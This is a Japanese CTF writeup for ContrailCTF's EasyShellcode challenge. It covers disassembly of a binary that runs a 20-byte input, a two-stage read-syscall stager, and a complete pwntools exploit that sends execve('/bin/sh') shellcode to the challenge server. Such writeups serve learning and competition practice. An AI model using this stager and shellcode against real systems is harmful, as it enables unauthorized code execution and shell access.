ContrailCTF writeup [EasyShellcode]

はじめに

 この記事では2019/12/31~2020/1/3に開催されたContrailCTFで出題されたEasyShellcodeのwriteupを紹介したいと思います.

プログラムの概要

 f:id:m412u:20200103213019p:plain

 問題を開くと上記のようなウィンドウが表示されます.ここから

$ nc 114.177.250.4 2210

で接続すると配布されているバイナリ problem が実行されているということが予想できます. 実際に接続してみると

f:id:m412u:20200103213708p:plain

Input your shellcode: と表示され入力を受け付けていることがわかります.

静的解析

ファイルの種類・セキュリティ機構

$ file ./problem 
./problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped
$ checksec.sh --file ./problem 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./problem

ディスアセンブル

$ radare2 -AA ./problem 
[Cannot analyze at 0x00000700g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00000700ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Find expanded AES keys in memory with '/ca'
[0x00000710]> pdf @ main
            ; DATA XREF from entry0 @ 0x72d
┌ 191: int main (int argc, char **argv, char **envp);
│           0x0000081a      55             push rbp
│           0x0000081b      4889e5         mov rbp, rsp
│           0x0000081e      4883ec10       sub rsp, 0x10
│           0x00000822      64488b042528.  mov rax, qword fs:[0x28]
│           0x0000082b      488945f8       mov qword [rbp - 8], rax
│           0x0000082f      31c0           xor eax, eax
│           0x00000831      41b900000000   mov r9d, 0                  ; size_t offset
│           0x00000837      41b800000000   mov r8d, 0                  ; int fd
│           0x0000083d      b922000000     mov ecx, 0x22               ; '"' ; int flags
│           0x00000842      ba07000000     mov edx, 7                  ; int prot
│           0x00000847      be64000000     mov esi, 0x64               ; 'd' ; size_t length
│           0x0000084c      bf00000000     mov edi, 0                  ; void*addr
│           0x00000851      e85afeffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│           0x00000856      488945f0       mov qword [rbp - 0x10], rax
│           0x0000085a      488d3d230100.  lea rdi, str.Input_your_shellcode: ; 0x984 ; "Input your shellcode: " ; const char *format
│           0x00000861      b800000000     mov eax, 0
│           0x00000866      e855feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0000086b      488b059e0720.  mov rax, qword [obj.stdout] ; obj.__TMC_END
│                                                                      ; [0x201010:8]=0
│           0x00000872      4889c7         mov rdi, rax                ; FILE *stream
│           0x00000875      e866feffff     call sym.imp.fflush         ; int fflush(FILE *stream)
│           0x0000087a      488b45f0       mov rax, qword [rbp - 0x10]
│           0x0000087e      ba14000000     mov edx, 0x14               ; size_t nbyte
│           0x00000883      4889c6         mov rsi, rax                ; void *buf
│           0x00000886      bf00000000     mov edi, 0                  ; int fildes
│           0x0000088b      e840feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00000890      488b45f0       mov rax, qword [rbp - 0x10]
│           0x00000894      ba07000000     mov edx, 7
│           0x00000899      be64000000     mov esi, 0x64               ; 'd'
│           0x0000089e      4889c7         mov rdi, rax
│           0x000008a1      e84afeffff     call sym.imp.mprotect
│           0x000008a6      488d45f0       lea rax, [rbp - 0x10]
│           0x000008aa      4831d2         xor rdx, rdx
│           0x000008ad      4831ff         xor rdi, rdi
│           0x000008b0      4831f6         xor rsi, rsi
│           0x000008b3      4831db         xor rbx, rbx
│           0x000008b6      4831c9         xor rcx, rcx
│           0x000008b9      4d31c0         xor r8, r8
│           0x000008bc      4d31c9         xor r9, r9
│           0x000008bf      4d31d2         xor r10, r10
│           0x000008c2      4d31db         xor r11, r11
│           0x000008c5      4d31e4         xor r12, r12
│           0x000008c8      4d31ed         xor r13, r13
│           0x000008cb      4d31f6         xor r14, r14
│           0x000008ce      4d31ff         xor r15, r15
│           0x000008d1      4831ed         xor rbp, rbp
│           0x000008d4      4831e4         xor rsp, rsp
└           0x000008d7      ff20           jmp qword [rax]

プログラムの動作としては入力されたデータ(シェルコード)を実行するというものになっています. ただし,入力可能な長さが20(0x14)byteに制限されています.これでは一般的なx64向けのシェルコードではバッファが短すぎてすべてのデータを送り込むことができません.

x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー Linux/x64 - execve(/bin/sh) Shellcode (24 bytes) - Linux_x86-64 shellcode Exploit Linux/x86-64 - Execute /bin/sh - 27 bytes

そのため,stagerと呼ばれる手法を使用します.これは,入力できるバッファが少ない際にreadを行うシェルコードを先に送り込み,追加でシェル起動用のシェルコードを追加で読み込ませる方法です.

システムコール

 readシステムコールの書式は以下のようになっています.

#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);

まず,第1引数 rdifd ,第2引数 rsi*buf ,第3引数 rdxcount を格納します. そして,rax0 を格納して syscall を読んでやるとreadが呼ばれます.

システムコールコール番号の確認方法

$ ausyscall x86_64 read
read               0
pread              17
readv              19
readlink           89
readahead          187
set_thread_area    205
get_thread_area    211
readlinkat         267
preadv             295
process_vm_readv   310
preadv2            327

シェルコード読み込み部分の詳細

mov rsp, rax     ; スタックフレームを復元
mov rsi, [rax]   ; シェルコードの格納先
mov rdx, 61      ; 読み込みサイズ(パディング32byte+シェルコード29byte)
xor rax, rax     ; raxを0に(readのシステムコール番号)
syscall
jmp rsi          ; シェルコード格納先へジャンプ

エクスプロイト

from pwn import *
from sys import argv
from time import sleep

context.log_level = "INFO"
binfile = "./problem"
context.binary = binfile
elf = ELF(binfile)

p = remote("114.177.250.4", 2210)

payload = b""
payload += asm('''
mov rsp, rax
mov rsi, [rax]
mov rdx, 61
xor rax, rax
syscall
jmp rsi
''')

padding = b"\x90" * 0x20
shellcode = b""
shellcode += asm('''
xor rdx, rdx
push rdx
movabs rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx+0x3b]
syscall
''')

p.recvuntil("Input your shellcode: ")
p.send(payload)
p.send(padding+shellcode)

p.interactive()

動作例

f:id:m412u:20200104000733p:plain

おわりに

 参加していただいた方々,本当にありがとうございます.  間違い等ございましたら連絡よろしくお願いします.

参考

inaz2.hatenablog.com

linuxjm.osdn.jp